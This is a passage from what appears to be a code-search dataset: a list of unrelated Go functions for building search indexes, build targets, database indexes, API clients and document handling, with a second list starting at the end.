{\n\tfilter, err := LoadCustomFilter(conf.Filter.Lib, conf.Filter.Fn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tans := &TTExtractor{\n\t\tdatabase: database,\n\t\tdbConf: &conf.DB,\n\t\tcorpusID: conf.Corpus,\n\t\tatomStruct: conf.AtomStructure,\n\t\tatomParentStruct: conf.AtomParentStructure,\n\t\tlastAtomOpenLine: -1,\n\t\tstructures: conf.Structures,\n\t\tcolgenFn: colgenFn,\n\t\tngramConf: &conf.Ngrams,\n\t\tcolCounts: make(map[string]*ptcount.NgramCounter),\n\t\tcolumnModders: make([]*modders.StringTransformerChain, len(conf.Ngrams.AttrColumns)),\n\t\tfilter: filter,\n\t\tmaxNumErrors: conf.MaxNumErrors,\n\t\tcurrSentence: make([][]int, 0, 20),\n\t\tvalueDict: ptcount.NewWordDict(),\n\t\tstatusChan: statusChan,\n\t\tstopChan: stopChan,\n\t}\n\n\tfor i, m := range conf.Ngrams.ColumnMods {\n\t\tans.columnModders[i] = modders.NewStringTransformerChain(m)\n\t}\n\tif conf.StackStructEval {\n\t\tans.attrAccum = newStructStack()\n\n\t} else {\n\t\tans.attrAccum = newDefaultAccum()\n\t}\n\n\treturn ans, nil\n}","func createTarget(s *scope, args []pyObject) *core.BuildTarget {\n\tisTruthy := func(i int) bool {\n\t\treturn args[i] != nil && args[i] != None && args[i].IsTruthy()\n\t}\n\tname := string(args[nameBuildRuleArgIdx].(pyString))\n\ttestCmd := args[testCMDBuildRuleArgIdx]\n\ttest := isTruthy(testBuildRuleArgIdx)\n\t// A bunch of error checking first\n\ts.NAssert(name == \"all\", \"'all' is a reserved build target name.\")\n\ts.NAssert(name == \"\", \"Target name is empty\")\n\ts.NAssert(strings.ContainsRune(name, '/'), \"/ is a reserved character in build target names\")\n\ts.NAssert(strings.ContainsRune(name, ':'), \": is a reserved character in build target names\")\n\n\tif tag := args[tagBuildRuleArgIdx]; tag != nil {\n\t\tif tagStr := string(tag.(pyString)); tagStr != \"\" {\n\t\t\tname = tagName(name, tagStr)\n\t\t}\n\t}\n\tlabel, err := core.TryNewBuildLabel(s.pkg.Name, name)\n\ts.Assert(err == nil, \"Invalid build target name %s\", name)\n\tlabel.Subrepo = s.pkg.SubrepoName\n\n\ttarget := core.NewBuildTarget(label)\n\ttarget.Subrepo = s.pkg.Subrepo\n\ttarget.IsBinary = isTruthy(binaryBuildRuleArgIdx)\n\ttarget.IsSubrepo = isTruthy(subrepoArgIdx)\n\ttarget.NeedsTransitiveDependencies = isTruthy(needsTransitiveDepsBuildRuleArgIdx)\n\ttarget.OutputIsComplete = isTruthy(outputIsCompleteBuildRuleArgIdx)\n\ttarget.Sandbox = isTruthy(sandboxBuildRuleArgIdx)\n\ttarget.TestOnly = test || isTruthy(testOnlyBuildRuleArgIdx)\n\ttarget.ShowProgress.Set(isTruthy(progressBuildRuleArgIdx))\n\ttarget.IsRemoteFile = isTruthy(urlsBuildRuleArgIdx)\n\ttarget.IsTextFile = args[cmdBuildRuleArgIdx] == textFileCommand\n\ttarget.Local = isTruthy(localBuildRuleArgIdx)\n\ttarget.ExitOnError = isTruthy(exitOnErrorArgIdx)\n\tfor _, o := range asStringList(s, args[outDirsBuildRuleArgIdx], \"output_dirs\") {\n\t\ttarget.AddOutputDirectory(o)\n\t}\n\n\tvar size *core.Size\n\tif args[sizeBuildRuleArgIdx] != None {\n\t\tname := string(args[sizeBuildRuleArgIdx].(pyString))\n\t\tsize = mustSize(s, name)\n\t\ttarget.AddLabel(name)\n\t}\n\tif args[passEnvBuildRuleArgIdx] != None {\n\t\tl := asStringList(s, mustList(args[passEnvBuildRuleArgIdx]), \"pass_env\")\n\t\ttarget.PassEnv = &l\n\t}\n\n\ttarget.BuildTimeout = sizeAndTimeout(s, size, args[buildTimeoutBuildRuleArgIdx], s.state.Config.Build.Timeout)\n\ttarget.Stamp = isTruthy(stampBuildRuleArgIdx)\n\ttarget.IsFilegroup = args[cmdBuildRuleArgIdx] == filegroupCommand\n\tif desc := args[buildingDescriptionBuildRuleArgIdx]; desc != nil && desc != None {\n\t\ttarget.BuildingDescription = string(desc.(pyString))\n\t}\n\tif target.IsBinary {\n\t\ttarget.AddLabel(\"bin\")\n\t}\n\tif target.IsRemoteFile {\n\t\ttarget.AddLabel(\"remote\")\n\t}\n\ttarget.Command, target.Commands = decodeCommands(s, args[cmdBuildRuleArgIdx])\n\tif test {\n\t\ttarget.Test = new(core.TestFields)\n\n\t\tif flaky := args[flakyBuildRuleArgIdx]; flaky != nil {\n\t\t\tif flaky == True {\n\t\t\t\ttarget.Test.Flakiness = defaultFlakiness\n\t\t\t\ttarget.AddLabel(\"flaky\") // Automatically label flaky tests\n\t\t\t} else if flaky == False {\n\t\t\t\ttarget.Test.Flakiness = 1\n\t\t\t} else if i, ok := flaky.(pyInt); ok {\n\t\t\t\tif int(i) <= 1 {\n\t\t\t\t\ttarget.Test.Flakiness = 1\n\t\t\t\t} else {\n\t\t\t\t\ttarget.Test.Flakiness = uint8(i)\n\t\t\t\t\ttarget.AddLabel(\"flaky\")\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\ttarget.Test.Flakiness = 1\n\t\t}\n\t\tif testCmd != nil && testCmd != None {\n\t\t\ttarget.Test.Command, target.Test.Commands = decodeCommands(s, args[testCMDBuildRuleArgIdx])\n\t\t}\n\t\ttarget.Test.Timeout = sizeAndTimeout(s, size, args[testTimeoutBuildRuleArgIdx], s.state.Config.Test.Timeout)\n\t\ttarget.Test.Sandbox = isTruthy(testSandboxBuildRuleArgIdx)\n\t\ttarget.Test.NoOutput = isTruthy(noTestOutputBuildRuleArgIdx)\n\t}\n\n\tif err := validateSandbox(s.state, target); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tif s.state.Config.Build.Config == \"dbg\" {\n\t\ttarget.Debug = new(core.DebugFields)\n\t\ttarget.Debug.Command, _ = decodeCommands(s, args[debugCMDBuildRuleArgIdx])\n\t}\n\treturn target\n}","func NewTarget(ctx context.Context, envAcc pkgadapter.EnvConfigAccessor, ceClient cloudevents.Client) pkgadapter.Adapter {\n\tenv := envAcc.(*envAccessor)\n\tlogger := logging.FromContext(ctx)\n\tmetrics.MustRegisterEventProcessingStatsView()\n\n\tclient, err := mongo.Connect(ctx, options.Client().ApplyURI(env.ServerURL))\n\tif err != nil {\n\t\tlogger.Panicw(\"error connecting to mongodb\", zap.Error(err))\n\t\treturn nil\n\t}\n\n\treplier, err := targetce.New(env.Component, logger.Named(\"replier\"),\n\t\ttargetce.ReplierWithStatefulHeaders(env.BridgeIdentifier),\n\t\ttargetce.ReplierWithStaticResponseType(v1alpha1.EventTypeMongoDBStaticResponse),\n\t\ttargetce.ReplierWithPayloadPolicy(targetce.PayloadPolicy(env.CloudEventPayloadPolicy)))\n\tif err != nil {\n\t\tlogger.Panicf(\"Error creating CloudEvents replier: %v\", err)\n\t}\n\n\tmt := &pkgadapter.MetricTag{\n\t\tResourceGroup: targets.MongoDBTargetResource.String(),\n\t\tNamespace: envAcc.GetNamespace(),\n\t\tName: envAcc.GetName(),\n\t}\n\n\treturn &adapter{\n\t\tmclient: client,\n\t\tdefaultDatabase: env.DefaultDatabase,\n\t\tdefaultCollection: env.DefaultCollection,\n\n\t\treplier: replier,\n\t\tceClient: ceClient,\n\t\tlogger: logger,\n\t\tsr: metrics.MustNewEventProcessingStatsReporter(mt),\n\t}\n}","func (api *TelegramBotAPI) NewOutgoingDocument(recipient Recipient, fileName string, reader io.Reader) *OutgoingDocument {\n\treturn &OutgoingDocument{\n\t\toutgoingMessageBase: outgoingMessageBase{\n\t\t\toutgoingBase: outgoingBase{\n\t\t\t\tapi: api,\n\t\t\t\tRecipient: recipient,\n\t\t\t},\n\t\t},\n\t\toutgoingFileBase: outgoingFileBase{\n\t\t\tfileName: fileName,\n\t\t\tr: reader,\n\t\t},\n\t}\n}","func (f CreateIdxOptFunc) ApplyOn(opt *AddRecordOpt) {\n\tf(&opt.CreateIdxOpt)\n}","func NewInvertedIndexBySego(docs []Documenter, segmenter *sego.Segmenter, stopword *sego.StopWords) InvertedIndex {\n\tinvertedIndex := make(map[string][]*Node)\n\twg := &sync.WaitGroup{}\n\twg.Add(len(docs))\n\tfor _, d := range docs {\n\t\tgo func(doc Documenter) {\n\t\t\tsegments := segmenter.Segment([]byte(doc.Text()))\n\t\t\tfiltedSegments := stopword.Filter(segments, true)\n\t\t\tdoc.SetSegments(filtedSegments)\n\t\t\twg.Done()\n\t\t}(d)\n\t}\n\twg.Wait()\n\tfor _, doc := range docs {\n\t\tfor _, s := range doc.Segments() {\n\t\t\ttoken := s.Token()\n\t\t\tterm := token.Text()\n\t\t\tlist := invertedIndex[term]\n\t\t\tif list == nil {\n\t\t\t\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\n\t\t\t\tlist = []*Node{newNode}\n\t\t\t} else {\n\t\t\t\tisDupNode := false\n\t\t\t\tfor _, node := range list {\n\t\t\t\t\tif node.Id == doc.Id() {\n\t\t\t\t\t\tnode.TermFrequency += 1\n\t\t\t\t\t\tnewPosition := TermPosition{s.Start(), s.End()}\n\t\t\t\t\t\tnode.TermPositions = append(node.TermPositions, newPosition)\n\t\t\t\t\t\tisDupNode = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !isDupNode {\n\t\t\t\t\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\n\t\t\t\t\tlist = append(list, newNode)\n\t\t\t\t}\n\t\t\t}\n\t\t\tinvertedIndex[term] = list\n\t\t}\n\t}\n\treturn invertedIndex\n}","func (mr *ClientMockRecorder) CreateTarget(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateTarget\", reflect.TypeOf((*Client)(nil).CreateTarget), arg0, arg1)\n}","func (msg MsgCreateIndex) Type() string { return \"create_index\" }","func (dbclient *CouchDatabase) CreateNewIndexWithRetry(indexdefinition string, designDoc string) error {\n\t//get the number of retries\n\tmaxRetries := dbclient.CouchInstance.Conf.MaxRetries\n\n\t_, err := retry.Invoke(\n\t\tfunc() (interface{}, error) {\n\t\t\texists, err := dbclient.IndexDesignDocExists(designDoc)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif exists {\n\t\t\t\treturn nil, nil\n\t\t\t}\n\n\t\t\treturn dbclient.CreateIndex(indexdefinition)\n\t\t},\n\t\tretry.WithMaxAttempts(maxRetries),\n\t)\n\treturn err\n}","func (a *AdminApiService) CreateTarget(ctx _context.Context, target Target) (*_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/admin/target\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &target\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 400 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 401 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 403 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 409 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 500 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarHTTPResponse, nil\n}","func NewIndexBuilder() *IndexBuilder {\n\treturn &IndexBuilder{\n\t\tcontentPostings: make(map[ngram][]uint32),\n\t\tnamePostings: make(map[ngram][]uint32),\n\t\tbranches: make(map[string]int),\n\t}\n}","func (ci *createIndex) ApplyOptions() Actionable {\n\tci.options = ci.context.Options().(*options.CreateIndexOptions)\n\n\tci.indexer.SetOptions(&golastic.IndexOptions{Timeout: ci.options.TimeoutInSeconds()})\n\n\treturn ci\n}","func generateIndex(path string, templatePath string) (lo string) {\n homeDir, hmErr := user.Current()\n checkErr(hmErr)\n var lines []string\n var layout string\n if templatePath == \"\" {\n layout = randFromFile(homeDir.HomeDir + \"/go/src/git.praetorianlabs.com/mars/sphinx/bslayouts\")\n imgOne := randFile(path + \"/img\")\n imgOneStr := \"imgOne: .\" + imgOne.Name()\n imgTwo := randFile(path + \"/img\")\n imgTwoStr := \"imgTwo: .\" + imgTwo.Name()\n imgThree := randFile(path + \"/img\")\n imgThreeStr := \"imgThree: .\" + imgThree.Name()\n imgFour := randFile(path + \"/img\")\n imgFourStr := \"imgFour: .\" + imgFour.Name()\n imgsStr := imgOneStr + \"\\n\" + imgTwoStr + \"\\n\" + imgThreeStr + \"\\n\" + imgFourStr\n\n lines = append(lines, \"---\")\n lines = append(lines, \"layout: \" + layout)\n lines = append(lines, imgsStr)\n lines = append(lines, \"title: \" + randFromFile(path + \"/titles\"))\n title := randFromFile(path + \"/titles\")\n lines = append(lines, \"navTitle: \" + title)\n lines = append(lines, \"heading: \" + title)\n lines = append(lines, \"subheading: \" + randFromFile(path + \"/subheading\"))\n lines = append(lines, \"aboutHeading: About Us\")\n lines = append(lines, generateServices(path + \"/services\"))\n lines = append(lines, generateCategories(path + \"/categories\"))\n lines = append(lines, \"servicesHeading: Our offerings\")\n lines = append(lines, \"contactDesc: Contact Us Today!\")\n lines = append(lines, \"phoneNumber: \" + randFromFile(homeDir.HomeDir + \"/go/src/git.praetorianlabs.com/mars/sphinx/phone-num\"))\n lines = append(lines, \"email: \" + randFromFile(homeDir.HomeDir + \"/go/src/git.praetorianlabs.com/mars/sphinx/emails\"))\n lines = append(lines, \"---\")\n lines = append(lines, \"\\n\")\n lines = append(lines, randFromFile(path + \"/content\"))\n } else {\n template, err := os.Open(templatePath)\n checkErr(err)\n scanner := bufio.NewScanner(template)\n for scanner.Scan() {\n lines = append(lines, scanner.Text())\n }\n }\n\n writeTemplate(homeDir.HomeDir + \"/go/src/git.praetorianlabs.com/mars/sphinx/index.md\", lines)\n\n return layout\n}","func CreateDocument( vehicleid string, latitude, longitude float64 ) error {\n\n\tid := uuid.Must(uuid.NewV4()).String()\n\tjsonData := jsonDocument(vehicleid, latitude, longitude)\n\n\tctx := context.Background()\n\tdoc, err := client.Index().\n\t\tIndex(os.Getenv(\"ELASTICSEARCH_INDEX\")).\n\t\tType(os.Getenv(\"ELASTICSEARCH_TYPE\")).\n\t Id(id).\n\t BodyString(jsonData).\n\t Do(ctx)\n\tcommon.CheckError(err)\n\tlog.Printf(\"Indexed geolocation %s to index %s, type %s\\n\", doc.Id, doc.Index, doc.Type)\n\treturn nil\n}","func New(callback Processor) *Document {\n\treturn &Document{callback: callback}\n}","func indexHandler(s *search.SearchServer, w http.ResponseWriter, r *http.Request) {\n\tparams := r.URL.Query()\n\tcollection := params.Get(\"collection\")\n\n\tif collection == \"\" {\n\t\trespondWithError(w, r, \"Collection query parameter is required\")\n\t\treturn\n\t}\n\n\tif !s.Exists(collection) {\n\t\trespondWithError(w, r, \"Collection does not exist\")\n\t\treturn\n\t}\n\n\tbytes, err := ioutil.ReadAll(r.Body)\n\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error reading body\")\n\t\treturn\n\t}\n\n\tif len(bytes) == 0 {\n\t\trespondWithError(w, r, \"Error document missing\")\n\t\treturn\n\t}\n\n\tvar doc document\n\terr = json.Unmarshal(bytes, &doc)\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error parsing document JSON\")\n\t\treturn\n\t}\n\n\tif len(doc.Id) == 0 {\n\t\trespondWithError(w, r, fmt.Sprintf(\"Error document id is required, not found in: %v\", string(bytes)))\n\t\treturn\n\t}\n\n\tif len(doc.Fields) == 0 {\n\t\trespondWithError(w, r, \"Error document is missing fields\")\n\t\treturn\n\t}\n\n\td := search.NewDocument()\n\td.Id = doc.Id\n\tfor k, v := range doc.Fields {\n\t\td.Fields[k] = &search.Field{Value: v}\n\t}\n\n\ts.Index(collection, d)\n\trespondWithSuccess(w, r, \"Success, document indexed\")\n}","func BuildInvertedIndexWithMultipleWriters(scanner *bufio.Scanner, threads int) map[string][]int {\n\tvar index sync.Map\n\tre := regexp.MustCompile(`([a-z]|[A-Z])+`)\n\tdocumentIndex := 0\n\tch := make(chan Word)\n\tvar wgReaders, wgWriters, wgSorters sync.WaitGroup\n\n\t// read in each file one at a time\n\tfor scanner.Scan() {\n\t\tfile, err := os.Open(scanner.Text())\n\t\tif err != nil {\n\t\t\tfmt.Println(\"ERROR: Could not find file: \" + scanner.Text())\n\t\t\tcontinue\n\t\t}\n\n\t\t// read sub file and fire off separate reader goroutines for the file\n\t\tdocument := bufio.NewScanner(file)\n\t\tgo reader(document, documentIndex, re, ch, &wgReaders)\n\t\twgReaders.Add(1)\n\t\tdocumentIndex++\n\t}\n\n\t// build channels for writers\n\tchs := make([]chan Word, threads)\n\tfor i := 0; i < threads; i++ {\n\t\tchs[i] = make(chan Word)\n\t}\n\n\t// start sorter goroutines\n\tfor i := 0; i < threads; i++ {\n\t\tgo sorter(ch, chs, &wgSorters)\n\t\twgSorters.Add(1)\n\t}\n\n\t// start writer goroutines\n\tfor i := 0; i < threads; i++ {\n\t\tgo writer(chs[i], &index, &wgWriters)\n\t\twgWriters.Add(1)\n\t}\n\n\twgReaders.Wait() // wait for the readers to finish\n\tclose(ch)\n\n\twgSorters.Wait() // wait for the sorters to finish\n\tfor i := 0; i < threads; i++ {\n\t\tclose(chs[i])\n\t}\n\n\twgWriters.Wait() // wait for the writers to finish\n\treturn toMap(&index)\n}","func NewUniqueIndexWithOptions(o ...option.Option) index.Index {\n\topts := &option.Options{}\n\tfor _, opt := range o {\n\t\topt(opts)\n\t}\n\n\tu := &Unique{\n\t\tcaseInsensitive: opts.CaseInsensitive,\n\t\tindexBy: opts.IndexBy,\n\t\ttypeName: opts.TypeName,\n\t\tfilesDir: opts.FilesDir,\n\t\tindexBaseDir: path.Join(opts.DataDir, \"index.cs3\"),\n\t\tindexRootDir: path.Join(path.Join(opts.DataDir, \"index.cs3\"), strings.Join([]string{\"unique\", opts.TypeName, opts.IndexBy}, \".\")),\n\t\tcs3conf: &Config{\n\t\t\tProviderAddr: opts.ProviderAddr,\n\t\t\tDataURL: opts.DataURL,\n\t\t\tDataPrefix: opts.DataPrefix,\n\t\t\tJWTSecret: opts.JWTSecret,\n\t\t\tServiceUser: opts.ServiceUser,\n\t\t},\n\t\tdataProvider: dataProviderClient{\n\t\t\tbaseURL: singleJoiningSlash(opts.DataURL, opts.DataPrefix),\n\t\t\tclient: http.Client{\n\t\t\t\tTransport: http.DefaultTransport,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn u\n}","func (idiom *Idiom) ExtractIndexableWords() (w []string, wTitle []string, wLead []string) {\n\tw = SplitForIndexing(idiom.Title, true)\n\tw = append(w, fmt.Sprintf(\"%d\", idiom.Id))\n\twTitle = w\n\n\twLead = SplitForIndexing(idiom.LeadParagraph, true)\n\tw = append(w, wLead...)\n\t// ExtraKeywords as not as important as Title, rather as important as Lead\n\twKeywords := SplitForIndexing(idiom.ExtraKeywords, true)\n\twLead = append(wLead, wKeywords...)\n\tw = append(w, wKeywords...)\n\n\tfor i := range idiom.Implementations {\n\t\timpl := &idiom.Implementations[i]\n\t\twImpl := impl.ExtractIndexableWords()\n\t\tw = append(w, wImpl...)\n\t}\n\n\treturn w, wTitle, wLead\n}","func SavingIndex(addr string, iName string, size int, t int, o string) {\n\tlog.SetOutput(os.Stdout)\n\n\t_, err := os.Stat(o)\n\tif !os.IsNotExist(err) {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Println(\"The file already exists.\")\n\t\tos.Exit(0)\n\t}\n\n\tcfg := elasticsearch.Config{\n\t\tAddresses: []string{\n\t\t\taddr,\n\t\t},\n\t}\n\tes, err := elasticsearch.NewClient(cfg)\n\tif err != nil {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Fatal(err)\n\t}\n\n\tcnt := indices.GetDocCount(es, iName)\n\tif cnt != 0 {\n\t\tcnt = cnt/size + 1\n\t} else {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Println(\"The document does not exist in the target index.\")\n\t\tos.Exit(0)\n\t}\n\n\teg, ctx := errgroup.WithContext(context.Background())\n\n\tchRes := make(chan map[string]interface{}, 10)\n\tchResDone := make(chan struct{})\n\tchDoc := make(chan []map[string]string, 10)\n\n\tvar scrollID string\n\n\tscrollID, err = getScrollID(es, iName, size, t, chRes)\n\tif err != nil {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Fatal(err)\n\t}\n\n\tvar mu1 sync.Mutex\n\n\tfor i := 0; i < cnt; i++ {\n\t\teg.Go(func() error {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn nil\n\t\t\tdefault:\n\t\t\t\tmu1.Lock()\n\t\t\t\tdefer mu1.Unlock()\n\t\t\t\terr := getScrollRes(es, iName, scrollID, t, chRes, chResDone)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\t\t})\n\t}\n\n\teg.Go(func() error {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tcase <-chResDone:\n\t\t\tclose(chRes)\n\t\t\treturn nil\n\t\t}\n\t})\n\n\teg.Go(func() error {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tdefault:\n\t\t\tdefer close(chDoc)\n\t\t\treturn processing.GetDocsData(chRes, chDoc)\n\t\t}\n\t})\n\n\tvar mu2 sync.Mutex\n\n\teg.Go(func() error {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tdefault:\n\t\t\tmu2.Lock()\n\t\t\tdefer mu2.Unlock()\n\t\t\treturn saveDocToFile(o, chDoc)\n\t\t}\n\t})\n\n\tif err := eg.Wait(); err != nil {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Fatal(err)\n\t}\n\n\tdeleteScrollID(es, scrollID)\n\n\tlog.Println(\"The index was saved successfully.\")\n}","func (s *BasePlSqlParserListener) EnterCreate_index(ctx *Create_indexContext) {}","func (i *SGIndex) createIfNeeded(bucket *base.CouchbaseBucketGoCB, useXattrs bool, numReplica uint) error {\n\n\tif i.isXattrOnly() && !useXattrs {\n\t\treturn nil\n\t}\n\n\tindexName := i.fullIndexName(useXattrs)\n\n\texists, _, metaErr := bucket.GetIndexMeta(indexName)\n\tif metaErr != nil {\n\t\treturn metaErr\n\t}\n\tif exists {\n\t\treturn nil\n\t}\n\n\t// Create index\n\tindexExpression := replaceSyncTokensIndex(i.expression, useXattrs)\n\tfilterExpression := replaceSyncTokensIndex(i.filterExpression, useXattrs)\n\n\tvar options *base.N1qlIndexOptions\n\t// We want to pass nil options unless one or more of the WITH elements are required\n\tif numReplica > 0 || i.shouldIndexTombstones(useXattrs) {\n\t\toptions = &base.N1qlIndexOptions{\n\t\t\tNumReplica: numReplica,\n\t\t\tIndexTombstones: i.shouldIndexTombstones(useXattrs),\n\t\t}\n\t}\n\n\tsleeper := base.CreateDoublingSleeperFunc(\n\t\t11, //MaxNumRetries approx 10 seconds total retry duration\n\t\t5, //InitialRetrySleepTimeMS\n\t)\n\n\t//start a retry loop to create index,\n\tworker := func() (shouldRetry bool, err error, value interface{}) {\n\t\terr = bucket.CreateIndex(indexName, indexExpression, filterExpression, options)\n\t\tif err != nil {\n\t\t\tbase.Warn(\"Error creating index %s: %v - will retry.\", indexName, err)\n\t\t}\n\t\treturn err != nil, err, nil\n\t}\n\n\tdescription := fmt.Sprintf(\"Attempt to create index %s\", indexName)\n\terr, _ := base.RetryLoop(description, worker, sleeper)\n\n\tif err != nil {\n\t\treturn pkgerrors.Wrapf(err, \"Error installing Couchbase index: %v\", indexName)\n\t}\n\n\t// Wait for created index to come online\n\treturn bucket.WaitForIndexOnline(indexName)\n}","func NewNoOp() *NoOpVectorizer {\n\treturn &NoOpVectorizer{}\n}","func NewTruncIndex(ids []string) (idx *TruncIndex) {\n\tidx = &TruncIndex{\n\t\tids: make(map[string]struct{}),\n\n\t\t// Change patricia max prefix per node length,\n\t\t// because our len(ID) always 64\n\t\ttrie: patricia.NewTrie(patricia.MaxPrefixPerNode(64)),\n\t}\n\tfor _, id := range ids {\n\t\t_ = idx.addID(id) // Ignore invalid IDs. Duplicate IDs are not a problem.\n\t}\n\treturn\n}"],"string":"[\n \"func (c *Classifier) generateIndexedDocument(d *document, addWords bool) *indexedDocument {\\n\\tid := &indexedDocument{\\n\\t\\tTokens: make([]indexedToken, 0, len(d.Tokens)),\\n\\t\\tdict: c.dict,\\n\\t}\\n\\n\\tfor _, t := range d.Tokens {\\n\\t\\tvar tokID tokenID\\n\\t\\tif addWords {\\n\\t\\t\\ttokID = id.dict.add(t.Text)\\n\\t\\t} else {\\n\\t\\t\\ttokID = id.dict.getIndex(t.Text)\\n\\t\\t}\\n\\n\\t\\tid.Tokens = append(id.Tokens, indexedToken{\\n\\t\\t\\tIndex: t.Index,\\n\\t\\t\\tLine: t.Line,\\n\\t\\t\\tID: tokID,\\n\\t\\t})\\n\\n\\t}\\n\\tid.generateFrequencies()\\n\\tid.runes = diffWordsToRunes(id, 0, id.size())\\n\\tid.norm = id.normalized()\\n\\treturn id\\n}\",\n \"func generateIndex(textsNumber int, wordsNumber int) *Index {\\n\\ttitles := make([]string, textsNumber)\\n\\tentries := make(map[string]Set)\\n\\tfor i := 0; i < textsNumber; i++ {\\n\\t\\ttitles[i] = fmt.Sprintf(\\\"title-with-number-%d\\\", i)\\n\\t}\\n\\tfor i := 0; i < wordsNumber; i++ {\\n\\t\\tset := Set{}\\n\\t\\tfor j := 0; j < textsNumber; j++ {\\n\\t\\t\\tset.Put(j)\\n\\t\\t}\\n\\t\\tentries[fmt.Sprintf(\\\"w%d\\\", i)] = set\\n\\t}\\n\\treturn &Index{\\n\\t\\tTitles: titles,\\n\\t\\tData: entries,\\n\\t}\\n}\",\n \"func newDocumentIndex(opts *iface.CreateDocumentDBOptions) iface.StoreIndex {\\n\\treturn &documentIndex{\\n\\t\\tindex: map[string][]byte{},\\n\\t\\topts: opts,\\n\\t}\\n}\",\n \"func CreateIndex(excludedPaths []string) (Index, error) 